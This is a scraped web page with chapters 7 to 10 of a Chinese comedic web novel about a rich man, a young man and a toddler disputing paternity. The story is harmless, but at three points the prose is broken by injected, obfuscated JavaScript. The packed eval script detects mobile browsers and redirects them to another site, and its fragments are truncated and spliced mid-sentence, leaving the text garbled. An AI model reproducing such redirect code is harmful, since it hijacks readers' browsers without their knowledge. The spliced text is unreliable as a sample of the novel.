《和豪门大佬的崽穿来了!》 7. 第 7 章 霍懿安虽然第一时间让秘书将孩子带回,却并未全然相信亲子鉴定的结果。 即便是在警方陪同下经由专业鉴定中心得出的结果,用的还是最难出现谬误的血液样本。 但事无绝对,尤其是他对自己的记忆极为自信。 他不可能有一个未知的孩子,更不要说这个孩子又和郁明殊产生关联。 一切都太像郁明殊及其家人精心铺设的阴谋,相比于三年前的投怀送抱,更加竭尽所能、机关算尽,撒下弥天大网。 退一步来说再专业的亲子鉴定,也无法保证所得结论具有100%确定性。 现行司法标准要求检测不少于十五个基因位点,为了提高精确度会增至二十个以上,但仍无法避免“非亲子却偶然匹配所有检测位点”的极微小可能,这也是为什么亲子鉴定报告给出的结果都会表述为“99.99%及以上”。 虽然这种极端情况,几乎已经被现代亲子鉴定的科学设计堵死,但霍懿安仍旧选择重新增加更多点位进行进一步确认,同时一并排除第一次鉴定被人调换样品的可能性。 霍懿安计划是分别采集孩子身上的血液、皮屑、毛发、口腔上皮细胞、唾液进行全面检测。 考虑到上次的指尖血采集,那孩子十分不配合,霍懿安已经提前做好剔除血液样本的预设。 反正其他样品同样可以提取足量的DNA,他并非一个墨守成规的人。 去除采集指尖血的选项,剩下的样品采集就再简单不过了,在见到孩子前,霍懿安无比确信这一点。 殊不知小家伙在确认爸崽分离的真凶后,便不再哭泣,回程的一路上没吵没闹就乖乖靠在郁明殊离开的那道车门上。 张秘书以为崽子是心如死灰绝望自闭了,等带孩子见了霍懿安才知道,这崽是要将有限的精力体力都用在刀刃上。 在见到了亲爹的瞬间,自闭崽就化作发疯的小野牛。 哪怕霍懿安有肢体接触障碍,会本能回避,往往献殷勤的人还没凑上来,他已经闪身避开,却也抵不过这种前一秒还乖乖跟在张秘书身旁,突然化身旋风小陀螺冲过来的崽。 崽子将小短胳膊抡出残影,一双攥得梆硬的瓷白坨子,对着亲爹的膝盖附近位置重拳出击,边打边奶声咆哮:“拔拔!拔拔!宝要拔拔呜哇——!!” 张秘书试图阻拦,小家伙立马亮出雪白小牙。 霍懿安虽然被打了个猝不及防,但处理个两岁半幼崽还是很容易的,大掌一按就将小家伙轻松隔离到长臂之外,一双轮成风火轮的小短胳膊再也无法选中。 崽子只能将全部力气放在嘴巴上,开启了长达几十分钟的高频嚎叫。 张秘书第一次在双标崽子身上感到平衡:这崽虽然对他远不如郁明殊那个宝贝爸爸,但起码闹他的时候,从没用过海豚音…… 西奥多小朋友边哭边叫,每一声都是接近声带和共鸣腔的生理极限,他甚至还能在海豚音间隙穿插对亲爹的控诉和对爸爸的想念。 霍懿安一开始并没有听懂他乱七八糟的中文,只觉得耳膜刺痛,眉头拧成死结:“你在乱叫什么?” 然后崽子就开启中英双语模式,不同于说塑料中文时崽子需要先在脑中转换一遍,表达力度也大打折扣,换成英文上来就是一连串的沙哑怒音: “爹地是恶魔!不让宝宝见爸爸!爹地是这世界上最邪恶的坏蛋!宝要告诉奶奶!宝再也不要爱爹地了!宝要给爹地喂花生酱!一百罐!!!” 每一次的停顿喘息,都会接上长长一段尖锐刺耳的海豚音尖叫。 无论霍懿安怎么黑脸威吓,张秘书怎么努力诱哄,崽子完全不买账,抱着亲爹小腿就是疯狂嚎叫。 即便这样,霍懿安也没有松口。 毕竟他已经初步认定这孩子是他的,就不会再放任孩子去接触乱七八糟的人,更遑论背后大概率还藏着一些阴谋诡计。 最后还是因为崽子边嚎边哭,情绪过于强烈,引发呼吸和消化系统紊乱被/干呕打断,才终于停了下来。 长达数十分钟的尖锐暴鸣声戛然而止,让在场所有人都惊觉室内竟如此安静。 不过很快,小家伙就突然倒地蜷缩,小身体一抖一抖的。 张秘书立即联系医疗团队,霍懿安也俯下身查看情况,所有人都以为孩子是哭到痉挛了。 没曾想,霍懿安刚一靠近,前一秒还蜷缩在地的崽子突然原地蹿起,一个头槌直接撞上亲爹高挺的鼻骨。 同时响起的还有崽子中气十足的奶音咆哮:“宝要拔拔!!!” 霍懿安捂着刺痛酸胀的鼻子,蓝眸骤缩——这个疯崽绝对不是他的孩子! 崽子还试图继续头槌,但击中一次后亲爹就不好骗了,他只能抱着亲爹脚踝躺在地上转圈打滚,继续用尖锐的海豚音暴打全场人的耳膜。 霍懿安的童年就是规行矩步的小机器人,接触到的孩子不多,但能被送到他面前的,无一不是乖巧懂事,眼前这种魔鬼幼崽,他的确是生平第一次见。 系统存储中没有可参考的先例,而他对父亲身份也极为陌生。 虽然在场人不仅有张秘书,还有两个武力超群的保镖,但老板不发话,他们哪敢对小少爷动手? 张秘书算是在场最熟悉崽子的人,但他在表演伸手捂嘴被咬后,就隐晦地开启作壁上观模式。 崽子就这么卡上了bug,在霍懿安最不知道如何招架的时候,狠狠疯了一场。 别说按着小家伙重新采集检验样本了,霍懿安被吵得脑袋嗡嗡响,满脑子都是被迫输入的“宝要拔拔”。 虽然头快被崽子嚎炸了,但霍懿安还是可以进行基础判断的,小魔鬼再是发疯闹人,他毕竟也不过是个两岁半的幼崽。 两岁半能有什么认知?他对“拔拔”近乎癫狂的坚持必然是有心人灌输给他的。 堵不如疏,他倒要看看郁明殊到底藏着怎样的鬼蜮伎俩。 霍懿安让张秘书联系对方,没等他将信息传达给地上的崽子,小家伙就已经拍拍屁股站了起来。 第一次领教崽子的变脸绝技,霍懿安也不由怔了一瞬,不过紧接着便因该崽用小脏手抹上小花脸,涕泗横流糊成一坨…… 霍懿安以最快速度移开了视线,忍着反胃把一旁的湿巾塞了过去。 崽子目的达到,自然乖乖配合,他可是个爱干净的乖宝宝,一边拽出一大把湿巾往脸上蹭,一边竖起小耳朵听张秘书叔叔给爸爸打电话。 然而电话每次都能打通,但却被连续按断五次。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613561|187644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 原本已经云收雨歇的崽子,直接将手上的湿巾朝爹一丢,虽然因为胳膊短力气小没能命中,却不影响他再次张开血盆小口:“Daddy is lying!!!” 爹地lying他就要lying down打滚辣!!!! 霍懿安无法接受任何不实指控,他直接拿过张秘书的电话拨了过去,崽子立即指挥张秘书叔叔抱他靠近。 巧的是,张秘书拨打数次无果的电话,霍懿安一打就接通了。 不等崽子兴奋呼唤,霍懿安已经先一步冷声质问:“你对西奥多做了什么!” 不论是因过分标准而略显生硬的中文,还是低沉冷肃的声线,都极具个人特色,更别说郁明殊不久前才刚被这个声音严肃警告过。 哪怕郁明殊脑袋晕得要命,也还是立即认了出来,但他顿时更迷糊了,为什么张秘书的电话中会传来霍懿安的声音? 作为一个有着多年丰富噩梦经验的倒霉蛋,郁明殊几乎没怎么迟疑就将其判断为霍懿安给他带来了新的心理阴影,所以也成功加入了他的噩梦列表。 没错,他一定是在做噩梦,郁明殊迷迷糊糊就将电话给挂了。 而电话另一边的崽子,刚夹出的甜腻小奶音还没等发出,就听到犹如噩耗的嘟嘟声。 他想听爸爸叫他嘟嘟,而不是电话挂断后的嘟嘟啊! 爸爸好不容易接通却又挂断了,肯定是被爹地凶巴巴的声音吓到了! 崽子勉强忍耐片刻,但当霍懿安黑着脸重拨却收到已关机的提示音后,崽子再也绷不住了,直接化悲愤为力量对着亲爹的俊脸挥舞起双拳。 原本他是被张秘书抱在怀里,两人之间隔了一臂的安全距离,但架不住崽子猝不及防飞扑,一双攥成铁坨子的小拳头还是成功击中——再一次砸上了亲爹鼻子。 从没有人敢如此冒犯霍懿安,而崽子不仅连扑带崽,还同时用无比愤怒的小奶音指责:“都怪爹地!!!几么可以凶拔拔!!!!” 嘶嚎过度的小奶嗓更哑了,为了保持威力,崽子把吃奶的劲儿都用上了,咆哮时不可避免带出许多……小口水。 迎面喷洒下细密的水雾,看得霍懿安两眼一黑又一黑。 张秘书见状,故意不小心扭了脚,愣是拖了半分钟才将发飙崽子抱开。 即便已经能初步确定这孩子是他生物学上的亲儿子,但霍懿安也无法忍受崽子的口水喷雾,他立即快步离开。 即便这样,崽子也没放过他,倒腾着小短腿一路跟到浴室门口,打不开门,他就趴在玻璃门上用海豚音继续爆破。 “拔拔!宝要见拔拔!呜哇wer——” 固液气三重传导,再加上浴室空间结构自带混响效果,霍懿安原本想多洗几遍的,但怕自己撑不到那时候就会失去听力,还是提前结束了清理。 男人按着就快爆炸的太阳穴,垂眸看向据说与他长得极为相似的崽。 他依旧没看出小东西哪里长得像他,但不得不承认,这崽不达目的誓不罢休的执着倒是和他有一两分相似。 见崽子再一次跳起来,试图用头槌痛击他的裆部,霍懿安磨了磨后槽牙决定和小东西做个交易:“如果你乖乖配合取样,我可以带你去见郁明殊。” 8. 第 8 章 郁明殊挂断电话就再一次秒睡了。 准确来说,接电话的时候他只醒了20%,微微醒。 是以他完全把霍懿安的冷肃质问当成耳旁风,一丁点都没往心里去,很快便陷入少有的酣眠中。 而另一边负责带崽的霍懿安就没这么顺心了。 小崽子倒是说到做到,配合着快速采集了所有样品,但当他完成他该做的事情后,就是急不可耐地催爹。 甚至到父崽二人去往郁明殊出租房的路上,这崽上车不久就自己将儿童安全座椅的卡扣打开了,全程在后排上蹿下跳,嘴里还嘀嘀咕咕念叨着爸爸早上生病了,一定很难受云云。 虽说霍懿安对认崽一事疑虑颇多,哪怕这孩子真是他不知觉间被人谋算出来的亲生崽,他都要仔细衡量一番再决定要不要认。 他父母那边自是会重视这份难得的血脉,但如此一来岂不正中对面下怀? 他不要孩子并非不能而是不想,人生规划中也从未设定结婚生子这一模块。 霍懿安能理解世俗认知中血脉羁绊的重要性,却不会受其所限,但以他对父母的了解,应该会很想要这个突然冒出的孩子。 而认崽的前提,除了100%确定这孩子的血缘,他还要将事情的真相彻底厘清,否则他是不会将来路不明、别有居心的孩子认回。 然而没等他对认崽一事表现出不屑,这崽却将对他这个亲爹的不以为意展现得淋漓尽致,一而再再而三地区别对待,更别说他还是被郁明殊比下去的…… 霍懿安直接被气笑了。 司机老郑刚好从后视镜看到了这一幕,顿时心里一咯噔,给副驾上的张秘书使了个眼神,这回换张秘书咯噔了,两人一言不发就完成了全部交流。 ——人家的少爷文学是少爷很久没笑了。他家的少爷文学是:少爷很久没这么生气了,都气笑了。 一般这个时候,周围人连喘气声都要压低些的,然而在后排自由活动的崽子仍旧失控,一会儿跪趴在车窗前用塑料中文碎碎念,一会儿转向亲爹切换英文呲哇乱叫。 “都怪爹地!” “不许再凶拔拔!不然不论爹地说什么,宝宝一定会跟奶奶说的!” “拔拔生病了很难受,爹地不可以不懂事……” 大概是初步的鉴定结果产生了一定效用,霍懿安现在已经懒得将小家伙推开,只要确保对方是干净的。 经过多年脱敏,他对明确、已知的东西接受度没那么差,不然表舅那些人也没法在他耳边废话。 但听崽子操着小破锣嗓子说些乱七八糟的胡话,霍懿安还是忍不住浑身冒黑气,但到底是考虑孩子还小,他即便发怒也该针对始作俑者。 思及此,霍懿安仿若入定般屏蔽掉崽子持续不断的小废话。 虽然国内很安全,但霍懿安抵达前,安保团队还是提前进行了部署。 而这边地处A市核心区,安全系数更高,霍懿安也不想闹出什么动静,让更多人知道他和郁明殊有所牵扯,所以下车前就提前通知安保团队无需跟随。 要不是这一片乱得跟迷宫一样,霍懿安连秘书都不想带。 虽然他一早就知道郁明殊的居住地离他很近,方方面面都有其筹谋的痕迹,却还是因七拐八绕的混乱胡同而紧蹙起眉。 在他看来郁明殊就是为了策划这一出戏,才装作和父母断亲,又搬到这种地方,不得不说能在A市核心区找到这种离他近又符合穷苦现状的住所,郁明殊还真是煞费苦心。 也是,距离上次失败的算计已经过了三年,郁家人终于等到不容他错过的外公整寿,自然提前将一切都谋划好了,甚至还搞出了一个也许与他有血缘关系的孩子。 他当然不觉得仅凭郁家就能做到如此地步,尤其是截至目前没有调查出任何蛛丝马迹,时间再短也不应如此,霍懿安不得不亲自来看看郁明殊到底葫芦里卖的什么药。 思及此,霍懿安本就黑沉的脸色顿时更黑了。 高级牛马的必备属性便是超凡的记忆力,张秘书虽然不似霍懿安那般过目不忘,但也能准确无误地将父崽二人重新带到了小平房门口。 崽子一开始还有点懵,但见到熟悉的花花绿绿窗花,他一下就高兴得蹦了起来:“拔拔!宝来呐!~” 小家伙原本想学习秘书叔叔那般趴窗纸上探查屋内情况,奈何他人小腿短,哪怕踮起脚也够不到门上的玻璃窗,只能努力伸长一双小短胳膊轻扣门窗:“拔拔!拔拔!开萌萌!宝肥来辣!~” 不论是一轻二重的礼貌敲门方式,还是被夹得极嗲的软萌小奶音,都是霍懿安闻所未闻见所未见的,他不由转向一旁的秘书。 虽然眉眼依旧冷肃,并未透露太多信息,但张秘书初见崽子这份“拔拔专供”的天使版本前,可是刚被崽子狠闹了大半夜,当时内心的震动比霍懿安只多不少。 他相当感同身受的重重点头——没错,这崽就是这么双标!跟爸爸在一块的时候,崽就是如假包换的暖心小天使! 霍懿安面无表情转回头,心下冷呵。 听到郁明殊在房间内的含糊应声,负责带路的张秘书便立即向老板确认:“霍总,我回车上等您吩咐?” 这边霍懿安颔首,张秘书便闪电撤退,表现出对老板家中秘辛极有边界感。 张秘书刚走,郁明殊就将房门打开了。 白天补觉很容易睡昏头,再加上感冒药的副作用,郁明殊整个人都晕乎乎的,但在睡梦中听到小亲人崽崽来找他,他本能反应般撑起身开门。 门一打开,新鲜空气涌入他就清醒了一点,再对上蓝眼小金毛雀跃期待的小表情,郁明殊不自觉笑了起来,用略带鼻音的温柔嗓音轻声问道:“嘟嘟宝贝,你怎么来了呀?” 西奥多小朋友顾不上回应,先左脚踩右脚将小鞋子一蹬,撑着小短胳膊一蹦,不仅成功进了爸爸的家门,还直接把自己送进爸爸怀里,并用全部的力气锁紧爸爸的胳膊。 确认再也不会“爸崽分离”,他才仰起粉雕玉琢的小脸蛋,秒变荷包蛋泪眼,夹声夹气地委屈说道:“宝↑债↓也↑补↓要↑和↓拔↑拔↓分↑开↓!” 小家伙的眼泪说来就来,金豆豆吧嗒一掉,直接砸得郁明殊鼻腔一酸,眼泪几乎就要跟着落下。 真奇怪,他自认不是什么脆弱的人,却因小亲人一声委屈控诉而心酸不已。 一边深呼吸屏住泪意,一边柔声道歉:“对不起让宝宝伤心了,都是叔叔不好。” 话音未落就被崽子纠正道:“系拔拔!” 郁明殊拥住崽子没再费力纠正,而是将目光投向门外的成年男子,“张秘书”三个字还没出口,就被惊回肚子里。 难怪能将门框挡得这么严实,一点光都透不进来,印象中张秘书没这么高…… 下意识在心里蛐蛐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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仿佛华容道玩具里被强行塞满了积木,别说曹操了,连个蚊子都走不出去。 霍懿安一直黑沉着脸不说话,郁明殊紧了紧抱崽的手臂,努力挤出得体的笑容:“没想到霍先生会是嘟嘟的……” 霍懿安冷冷扫视他一眼:“你真没想到么?” 郁明殊蹙眉不解:“……对啊。” 霍懿安冷嗤了一声:“说吧,你的目的是什么?” 不仅听得郁明殊一脸问号,他甚至不知道从哪里开始吐槽好,昨天刚被男人警告不要再出现,今天就被人带崽堵到家门口,一开口全是些令他摸不到头脑的话。 要不是得罪不起,他是真想问一句:您是不是……有病啊? 大人间机锋不断,崽子仰头看看爸爸抬眼看看爹地,滴溜溜乱转的湛蓝眼眸忽地一滞。 气氛正僵持着,崽子扑棱一下站起身,左脚一蹬,原地旋转一百八十度,背对着亲爹一屁股坐进男人怀里,整个过程耗时不到一秒。 同时响起的还有崽子忘记夹紧的沙哑小奶音:“爹地,宝要嘘嘘。” 而在话音落下前,霍懿安已经先一步感受到一种极为陌生的湿热触感,从崽子的腚下传来…… 初为人父的霍懿安,就这么猝不及防地掌握了养崽第一铁律—— 孩子说要上厕所的时候,一般已经尿完了。 9. 第 9 章 前一刻霍懿安还想着小崽子怎么突然变了,会主动来找他。 实际上霍懿安即便能接受逐渐拓宽的安全距离,也不代表着他会允许孩子坐进自己怀里,但事实的确就这样发生了,他一时不察,孩子就无比丝滑地调转了方向,撅着小屁股坐了进来。 并在下一瞬,给了他致命一击。 感受着怀中崽子腚下渗透出的湿热触感,霍懿安几乎当场石化,脸色极为难看。 但因这人从跟郁明殊打上照面开始,就始终保持着无以复加的难看脸色,所以郁明殊压根没发现父崽间的暗、潮、涌、动。 同样是初为人父,郁明殊也没有经验,自然也想不到小幼崽在这方面效率惊人,他的大脑已经围绕着崽子上厕所一事高速运转起来了。 附近的厕所在百米之外,厕所环境不算差,这个时间应该不需要排号,但对霍懿安来说估计仍是无法忍受的,他倒是愿意帮忙,又怕霍懿安觉得他别有居心,趁着上厕所拐跑孩子…… 殊不知,崽子如厕的真实情况是——距离极近、条件很好、无需帮忙。 郁明殊原本是缩在单人床的床头位置,尽量给霍懿安留出空间,而霍懿安对他抗拒厌恶,自然是尽可能靠近床尾。 即便如此,受出租房窄小尺寸的限制,两人间能拉开的距离也十分有限。 郁明殊见霍懿安听崽要嘘嘘仍旧岿然不动,在心里又画下一串问号,明眼看着崽子小脸都憋红了,他直接将手臂撑到霍懿安身侧,打算自己先开门钻出去,然后再接手孩子…… 没曾想,他刚把手臂撑过去打算开门,一点没蹭到对方,处于石化中的霍懿安却忽地惊醒,避之不及地向后猛缩。 而他后方……空无一物,乃是郁明殊家中唯一的一片空地,空间划分上属于郁明殊的浴室范畴。 好在郁明殊这一瞬反应极快,一把拎住了即将要栽下床的……崽。 浴室地面不大不小,刚好可以框住霍懿安伟岸的身躯。 郁明殊拎住崽子往下一看,霍懿安就这么嵌进他家“浴室”里。 方方正正,正正好好。 霍懿安一动不动,宛若木头人,看起来像是摔懵了,实际上人已经走一会了。 郁明殊本就因震惊而微微睁大的双眼,在看到男人裆部明显的水痕时直接睁圆了。 霍懿安竟然……! 这一刻郁明殊想的不是“霍懿安尿失禁”这种爆炸性消息卖给杂志周刊能开价到多少,而是他会不会被灭口啊? 万幸的是,他很快感觉到手里同款僵硬成木头人的崽子,身下发出规律的滴答声,再看崽红成火炭头的小脸蛋,郁明殊这才恍然大悟。 “原来是宝宝没忍住啊?” 此话一出,差点被一泼尿浇得系统全线崩溃的霍懿安,还是被气回了神。 “不、然、你、以、为、是、什、么?”每一个字都是从齿缝挤出来的,气得他蓝眼睛里都开始冒红光了。 这话郁明殊哪敢接啊,好在崽子因在爸爸面前丢了大脸,过度羞窘忍无可忍,仰起小脸蛋哇的一声哭了起来。 “宝、宝米有呜呜米有……” 西奥多一向自认是全世界最棒的宝宝,尤其在爸爸面前他更是有着严重的偶像小包袱。 作为爸爸最棒的心肝小宝贝,已经快要两岁半的他怎么还能犯这么低级的错误?在嘘嘘臭臭方面,之前他明明一直做的特别好! 仔细想想,这事还得怪坏爹地。 其实他来的半路上就有点想了,但那时太急着见爸爸,怕车程被自己打断,坏爹地就又不让他见爸爸了。 而见到爸爸他就什么都顾不上了,等再意识到问题严重时就已经憋不住了…… 崽子越想越委屈,话都说不下去了,一边机械性重复着“米有”一边哇哇大哭,成功将一旁嵌入浴室的受害爹气得眼底发红、脸色发绿。 你没有!难不成是他尿的吗! 可恶的不仅有矢口否认的小崽子,还有那个胡乱揣测的郁明殊! 霍懿安甚至已经顾不上崽子还在滴水的问题,他已经想把自己的身体一并丢掉……!!!!! * 一大一小两个蓝眼金毛各有各的崩溃,最后还是由情绪最稳定的郁明殊来收场。 他把被崽子尿湿的小裤子脱掉,帮崽重新擦干净后塞进薄被里,然后又把霍懿安从浴室地面给挖了出来。 大概是因为霍懿安已经脏透了,郁明殊去拉他的时候,他没有半分抗拒。 但郁明殊很怕他事后找茬,所以小心避开了一切皮肤接触的可能性。 事实证明他是对的。 霍懿安被他扶起来后,就跟一尊“栩栩如生”的雕像一样,站在浴室里一动不动。 直到郁明殊故意捏着鼻子询问:“霍先生,该不会是等我帮您清洗吧?” 霍懿安才如噩梦初醒般瞪了过来,紧接着浴室门帘便唰的一下被拉上了。 他本应直接离开的,但相较于穿着被尿的脏衣服回去再清理,郁明殊的“浴室”再是简陋到令人发指,霍懿安还是决定在这边先冲一遍。 郁明殊按照霍懿安的要求发消息给张秘书,但哪怕是金牌秘书,也没法凭空变出父崽二人的衣服。 尤其是霍懿安在这方面极为龟毛,不仅对换洗标准有着严格要求,还不能打褶,就算车上备了他的换洗衣物,张秘书也得就近找个地方处理一下。 等待期间,霍懿安本打算就这么一直用流水清洗下去,仿佛一旦水停,他的身体就又会被郁明殊家中污浊的空气所污染。 然而事与愿违,郁明殊租的这间房用的还是老式太阳能热水器。 酷暑时节将水温晒得极高,霍懿安不会调节也不愿向那人询问,水温越洗越高,再洗下去都能闻见肉香味了。 他索性将水关了,顶着一身烫红的粉白皮,就这么定定站在窄小无比的淋浴间里。 郁明殊抱着被他哄困的崽子,小声提醒:“我把睡衣放床尾了,您要是不嫌弃可以暂时先穿一下。” 霍懿安没动也没回话,算是身体力行表明他非常嫌弃了。 虽然相处不多,但郁明殊已经有点习惯了,不仅不觉得什么自尊心受损,心里还挺高兴的。 他和霍懿安之间差了好几个码数,郁明殊压根没有适合的衣服给对方穿。 因为只需要在这边临时对付一两个月,床单被褥他也只拿了这么一套,夏天什么都干的快,需要换洗的时候他早上洗好晾出去,晚上回家再铺上就好。 想了半天找出一套他穿着十分宽松的睡衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不过不论霍懿安在不在,他都会实话实说:“叔您真误会了,我没那么厉害,就是您运气好,碰上好车主了,人家一开始也没打算索赔。” 奈何大叔打定主意要感谢他,哪怕不是他说和有功,后续也帮了大忙。 郁明殊则一心拒绝,可不想因为这点小事就浪费人家为了给孩子治病攒的血汗钱。 两方正客套拉锯着,单薄的门板再一次被敲响,郁明殊看到霍懿安的手从帘子里伸出来又唰的撤了回去,便十分懂事地找了个借口把大叔的电话挂断,专心来处理这位尊贵大爷的急事。 房门打开,张秘书左手提西装,右手拎童装,眼观鼻,鼻观口,口观心。 心里如临大敌,面上临危不乱,虽然很想问父崽是否今晚就一并住下了,但他还是相当规矩的把话全都咽回肚里。 视角不同,郁明殊倒是没觉得霍懿安来他家后,不久便让人送换洗衣物有什么不妥。 张秘书不仅送的快,撤的更快,东西交给郁明殊他转身就走,生怕看到什么不该看的触怒天威。 也不知是张秘书急着脱离险地,还是小院里难得刮过一阵凉风,张秘书刚走塑料门板便被狠狠掼上,带起的风刚好掀开了“浴室”单薄的拉帘。 彼时霍懿安正因手指擦过帘子受到污染,而身上已经晾干再打湿很麻烦陷入纠结,刚决定还是重新冲洗一遍。 他才转身准备打开淋浴器,就感受到背后一阵阴风刮过,霍懿安猛地扭头,两人的视线就这么猝不及防地撞个正着。 郁明殊脑袋一空,突然想起一篇小时候学过的课文——好大的白洋腚! 10. 第 10 章 霍懿安虽然有肢体“接触”障碍,但他的情况已经不算严重了。 起码在“肢体被注视”方面接受度一向良好,99.99%的情况下他都不会感到被侵犯了安全边界。 而这0.01%的特例,就发生在当下。 同为男性,霍懿安原本没什么好在意的,但对视一瞬,就见那双亮度惊人的变态桃花眼下移! 这个居心叵测的变态死gay,他就算想要忽略都忽略不掉。 郁明殊一边在心里吐槽自己脑洞太大,一边又忍不住感叹脱光了的霍懿安更像雕塑了,以两人的差距,霍懿安一拳头,不,一屁股就能把他坐死。 一边还惦记着他得将手里两位蓝眼金毛的衣服分开递过去,身后还黏着个哼哼唧唧要抱抱的崽。 四线并行对于一个感冒吃药又猛睡几小时还有些混沌的大脑来说,实在太过于超负荷,所以早该移开的视线就这么卡顿住了。 霍懿安双眸猛地一眯,瞳仁里仿佛突然裹了一团蓝色火焰:“你看什么!” “好白…不是,好大,也不……”郁明殊脑袋一抽直接将心里话秃噜出来,“我是说您的身材真!好!” 霍懿安比他高二十公分,身高差就足以产生一定的压迫感,更别说两次接触这人都高高在上,大山般的威压始终存在,但穿衣服时郁明殊真没想到霍懿安身材如此精壮有料。 虽然其母霍云轻年轻时曾是名噪一时的超级名模,霍懿安也算个星二代,但家中从小对他保护得相当严密,即便作为名模之后也至今未有照片流出。 而且对比其他方面数不尽的闪耀光环,“星二代”这个平平无奇的头衔实在排不上号。 对于霍懿安的天才履历,郁明殊在三年前就听养父母提过无数次。 比如三岁自学数学,十岁夺取竞赛金牌,纪录迄今无人打破,二十岁获得博士学位,三年后他的科技公司就完成上市,在这个珀西家族与霍家都不曾参与的领域迅速占据了一席之地。 郁明殊不得不承认他还是刻板了,一想到计算机领域的天才,虽不至于认为他们都是眼镜格子衫爱好者,但也会觉得这部分人更容易沉醉于研究中而忽略对身材的塑造,不然怎么会nerd随处可见,hot nerd却寥寥无几。 是以他一直以为霍懿安只是身量高骨架大才显得体型巨大,从没想过这人会将肌肉轮廓都练得如同模型般标准的。 尤其是他挪不开视线的“白洋腚”,不是普通的肥硕翘臀,甚至和“肥硕”毫无关联。 而是惊人地将肌理“锻造”得精准又极具张力,自然却紧致挺拔的美感,纵观整个背面都完全符合米开朗基罗式的人体美学。 郁明殊不仅没看过这么漂亮的腚,也没看过这么漂亮的背,以及霍懿安全部的上下肢肌群……整个背面呈现出的线条就是精致又极具力量感。 任何人拥有这种身材,郁明殊都会忍不住欣赏。 他也是真心实意赞美霍懿安“身材真好”,好到极致了。 哪怕这人对他充满鄙夷,张口闭口都是不客气的质询斥责,就比如现在——“把你那双变态眼睛闭上!” 话音未落,郁明殊手里的衣服就已经被霍懿安一把夺走,浴室拉帘被唰的甩上。 然而毕竟是一阵风就能掀开的拉帘…… 也不知道是因霍懿安气急败坏力气用太大,还是简陋的拉帘太过丝滑,就这么被他一下从最左侧甩到了最右侧,仿佛是要换个角度展露性|感|裸|体。 郁明殊已经从卡顿中跳出,不用太敏锐也能察觉到霍懿安快炸了,避免对方对自己的拉帘痛下杀手,退租时还要额外赔个拉帘,郁明殊默默伸出手,帮男人将帘子重新拉好。 再不懂眼色的人,也能感受到霍懿安的怒意,考虑到这次的事虽不是因他而起,但他的表现的确有失分寸。 再考虑到霍懿安的身份地位,以及两人间有可能存在的姻亲关系,郁明殊还是觉得有必要解释一下的。 抱起贴在他身侧就迷糊睡着的崽,隔着帘子对换衣服的男人小声说道: “我没有变态的想法,只是看到了以前从没见识过的完美身材,没忍住多欣赏了一下,但对于惹您不快还是感到非常抱歉,希望您能原谅我的冒犯。” 霍懿安闻言动作一顿,虽然依旧觉得郁明殊清越的声线十分刺耳,但不得不承认这人还是有点审美眼光的。 虽然健身同样需要天赋,但不同于在学习、研究方面的毫不费力,对身材的极致追求的确让他付出了大量汗水。 而付出足够多的辛苦,才会更显得成果来之不易。 但因肢体接触障碍让他习惯长期远离一切人类,他又没有暴露癖喜欢裸身行走,以至于父母都不曾见过他现在的身材,更别说如此直白地被人欣赏夸赞了。 虽然郁明殊是个图谋不轨的变态,但霍懿安的眉头还是舒展开来,不过下一瞬又重新蹙了起来。 被包藏祸心的变态死gay欣赏,还不如没有! 然而帘外的声音还在继续:“昨天您真的是误会了,我只是偶然出现在那边,因为我已经和养父母断亲,平时会靠送外卖赚些生活费,看到外卖员发生车祸有些感同身受才会上前帮忙,我也真的没想到会遇到嘟嘟,更没想到您和嘟嘟也有……” 郁明殊此前认真想过,还是觉得唯一可能存在的误会根源应该是在养父母身上。 毕竟那两人在他的真实性向被曝光后,就不遗余力将他往有权有势的男人床上送,即便他觉得养父母应该不敢觊觎霍懿安,但还是借此机会明确做出切割。 为了不吵到崽,郁明殊刻意压低的声音显得格外轻柔好听。 霍懿安却无法忍受,一把扯开塑料帘,身材已被剪裁得体的定制西装完美包裹起来,但眼中怒火依旧。 “你觉得我会相信你的巧言令色?”男人冷冷瞥他一眼,“停止你的连篇谎话,直截了当明说妄想,还更让我看得起些。” 郁明殊:“……” 确认了,真有病。 见郁明殊被他说得哑口无言,霍懿安更觉自己正中靶心。 实际上郁明殊一直在不露痕迹地深吸气,虽然极度莫名其妙,但也不能直接骂回去,而此刻除了脏话他实在想不到什么得体又适合的话。 霍懿安冷冽的视线在郁明殊微张的红唇上稍作停留,见这人并没有 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紧接着这崽又无比丝滑地切换成英文版,丢出一连串掷地有声的威胁:“爹地如果强行把宝带走,宝一定会不停地哭、不停地叫、不停地吼,还会吐在爹地身上,尿在爹地身上,拉在爹地身上……” 不等说完,霍懿安的脸已经绿了。 看着死扒在郁明殊怀里的小东西,再对上憋不住笑的郁明殊,霍懿安将手里的童装往床上一丢,下一瞬便摔门离开。 郁明殊虽然看霍懿安吃瘪很爽,但也没想到这人会真把崽子留给他。 虽始料未及,但欣然接受,爸崽二人在巨大的关门声中面面相觑。 很快,两双极为相似的桃花眼弯出了相同的弧度。 “拔拔!~”宝成功啦! “嘟嘟!~”美梦成真! 郁明殊倒不觉得霍懿安会就这么把崽给他,但趁着那人被崽气跑,他能和小亲人多相处一会儿也是好的。 更令他没想到的是他抱着得来不易的小亲人,正享受着难得的幸福时光,一打开手机软件又看到了99+的消息提醒。 郁明殊以为他的视频又像之前那般小爆了,实际却是大爆特爆。 